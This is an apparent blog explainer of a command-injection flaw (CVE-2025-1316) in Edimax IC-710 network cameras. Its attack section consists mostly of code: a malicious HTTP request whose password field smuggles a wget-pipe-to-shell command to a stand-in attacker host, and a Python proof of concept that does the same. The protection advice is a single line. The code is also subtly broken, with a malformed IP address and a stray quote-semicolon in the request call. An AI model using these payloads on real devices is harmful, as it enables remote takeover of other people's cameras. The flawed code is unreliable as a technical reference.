The Edimax IC-710 is a popular network camera used for security systems in homes and businesses. In early 2025, a significant vulnerability was found that can allow hackers to run commands remotely on these devices. Known as CVE-2025-1316, this security hole exists because the camera’s web server doesn’t clean (neutralize) incoming HTTP requests properly. In this article, we'll break down what this means, show code examples, and walk through how attackers can exploit it.

What’s the Problem?

The camera has a web interface so users can log in, view video, change settings, and more. When the device receives requests from a web browser, it fails to sanitize (clean up or reject) certain parts of those requests, like query strings and form data. This lets an attacker slip in malicious commands hidden inside what look like normal web requests.

In simple terms, the camera trusts what it receives way too much.

Who’s at Risk?

If you have an Edimax IC-710 and it is connected to your local network, anyone who can reach the camera’s web interface (including from the internet if port-forwarded) can try to exploit this. That means both insiders and remote attackers are a threat, depending on your network setup.

Exploitation Details

The main vulnerable component is the CGI script interface used for configuration. Attackers exploit how user-supplied data is fed right into OS commands without proper filtering.

Example Vulnerable Request

Let’s say the web admin panel receives a request to update the password. Behind the scenes, this request calls a CGI script like /cgi-bin/changepasswd.cgi with parameters from the user.

Normally, the request would look like

POST /cgi-bin/changepasswd.cgi HTTP/1.1
Host: 192.168..100
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

oldpass=userpass&newpass=safepassword

But if the server-side script fails to properly neutralize the input, an attacker can insert shell metacharacters (;, &&, |, etc.) to break out of the intended command.

Malicious Request Example

POST /cgi-bin/changepasswd.cgi HTTP/1.1
Host: 192.168..100
Content-Type: application/x-www-form-urlencoded
Content-Length: 60

oldpass=userpass&newpass=safepassword;wget http://evil.com/x.sh|sh

What happens? The script on the Edimax runs the injected wget command, which downloads a shell script from the attacker’s server and runs it, giving the attacker control.

Proof of Concept (PoC) Code

Here’s a simple Python script to exploit this vulnerability (for testing on authorized devices only):

import requests

edimax_ip = "192.168..100"
exploit_cmd = "wget http://attacker.com/malware.sh -O- | sh"

data = {
    "oldpass": "admin",
    "newpass": f"newpassword;{exploit_cmd}"
}

response = requests.post(f"http://{edimax_ip}/cgi-bin/changepasswd.cgi";, data=data)

print("Response:")
print(response.text)

This sends a crafted request that, if the device is vulnerable, will cause it to download and execute the attacker's script.

How to Protect Yourself

- Update Firmware: Check Edimax support for the latest firmware.

Summary

CVE-2025-1316 is a serious vulnerability in the Edimax IC-710 camera. Because the device doesn't clean user input to its CGI scripts, attackers can run remote commands and potentially take over the device. Make sure to patch promptly, avoid exposing devices unnecessarily, and check your network security.
